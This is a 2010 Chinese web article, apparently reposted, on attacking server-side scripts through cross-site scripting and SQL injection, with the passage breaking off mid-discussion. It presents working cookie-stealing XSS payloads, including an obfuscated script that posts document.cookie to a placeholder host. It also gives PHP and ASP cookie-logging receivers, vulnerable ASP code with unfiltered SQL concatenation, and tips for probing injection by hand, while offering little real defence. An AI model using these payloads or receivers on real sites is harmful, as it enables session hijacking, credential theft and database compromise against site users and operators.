脚本安全和利用

时间:2010-01-08 15:39:33   来源:第二电脑网  作者:第二电脑网

  第二电脑网导读:,脚本的攻击就是利用这些文件的设置和编写时的错误或者疏忽不当,攻击者就可以利用这些来达到自己攻击目的,如果一个服务器存在这些漏洞,那么它的沦陷也是时间的问题!这些文本文件一般都是要结合数据库来使用的,这些数据库有ACCESS、MSSQL、MYSQL、Oracle等!脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来...
  正文:

最近脚本攻击好象是很流行的,不过早在很久前就有这个了!脚本攻击严格的说应该是一件艺术而不是漏洞!首先我们先要知道什么是脚本,脚本就是运行在网页服务器上的文本程序,例如:ASP/ target=_blank class=infotextkey>asp、PHP、CGI、JSP、ISAP等等,脚本的攻击就是利用这些文件的设置和编写时的错误或者疏忽不当,攻击者就可以利用这些来达到自己攻击目的,如果一个服务器存在这些漏洞,那么它的沦陷也是时间的问题!
这些文本文件一般都是要结合数据库来使用的,这些数据库有ACCESS、MSSQL、mysqlOracle等!脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来达到得到用户密码等敏感信息,修改数据库等目的!下面我就针对这些来分别举例说明!
一、跨站脚本的攻击
脚本的跨站(Css/XSS)就是利用程序对用户提交的变量不严,大多数是利用多媒体标签,前段时间比较流行的flash跨站就是利用的这个,比如我在[FLASH=450,350][/FLASH]之间插入一个我自己作好的一个swf文件,swf文件里我们用geturl里加上JavaScript:window.open('_blank>http://qfaq.yeah.net')就可以让他打开清风安全网的网站,如果这里是一个木马网页,呵呵,,,你就等着中木马吧!还有就是窃取用户的cookie,例如我们利用[IMG][/IMG]也就是图片的跨站,在这个里面插入
<script language=javascript>window.open('_blank>http://xxx/xxx.asp?msg=&#39; documents.cookie)</script>这段地址即可得到!如果将javascript过滤掉后怎么办?
好,我们在看看下面这段代码
[upload=swf]uploadImages/200310812145390577.swf?"><sCript>aa="var" unescape(" ") "dat;dat=escape(document.cookie);var" unescape(" ") "http=new" unescape(" ") "ActiveXObject('Microsoft.XMLHTTP');ht" "tp.open" unescape(" ") "('POST','ht' 'tp://xxx/bbs/usersms.asp?action=send&touser=czy&title=flashcookie&submit=发送&message=' dat,false);http.send();";eval(aa)</sCript>[/upload]
怎么样,还是能将你的信息得到的,而且还不会弹出对话框!
另外在joekoe论坛程序里还有一个这样的问题,比如你发个帖子里有[DIR][/DIR]就会弹出一个播放器的安装程序,呵呵,如果是一个黑心的站长利用这个来放马,那后果就不用说了吧!
解决办法:现在还没有好的方法解决这个问题,你要做的就是将多媒体的标签删掉!
另附ASP和PHP的跨站代码
php如下
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."n");
fclose($fp);
}
?>

<script language=vbscript>
document.location="_blank>http://";
</script>

asp如下
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
二、sql injection
是现在最热门的,也是本文要重点说的!
1、ASP ACCESS数据库类型的SQL注射
现在的大多数网站是采用的这个组合,但是如果在ASP程序中没有对用户提交的变量充分过滤的话就可能导致管理员密码被猜到,整个网站的信息就会暴漏无移~!
在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号!比如比较经典的金梅系统漏洞,在movie.aphotoshop/ target=_blank class=infotextkey>ps中有怎么一段代码:
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits 1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1

articleid未经任何检查便提交了,所以我们就可以自己构造一些SQL语句来提交上去!具体的利用过程请看拙作《SQL注入完整篇》和《SQL注入的补充》的动画教程,这里我就不在重复的说了!
2、ASP MYSQL数据库类型的利用
MYSQL数据库简单使用和强大的功能一直以来都是网管们的最爱!但是如果是ASP中没有对变量过滤的话,我们就可以来直接的到他的系统管理员权限!
比如动网论坛、BBSXP论坛的SQL版有好几个文件都没有对ID过滤,所以我们只要找到他的存在问题的页面就可以了,
来源:http://www.002pc.com/master/College/Programming/PHP/11621.html

收藏到:

关于《脚本安全和利用》文章的评论

共有 0 位网友发表了评论 此处只显示部分留言 点击查看完整评论页面

随机文章

    SQL Error: select * from ***_ecms_article where classid='86' and checked=1 order by rand() limit 10

顶出来的热门

    SQL Error: select * from ***_ecms_article where classid='86' and checked=1 order by diggtop desc,id desc limit 10
站内搜索: 高级搜索

热门搜索: Windows style 系统 tr IP QQ CPU 安装 function 注册 if td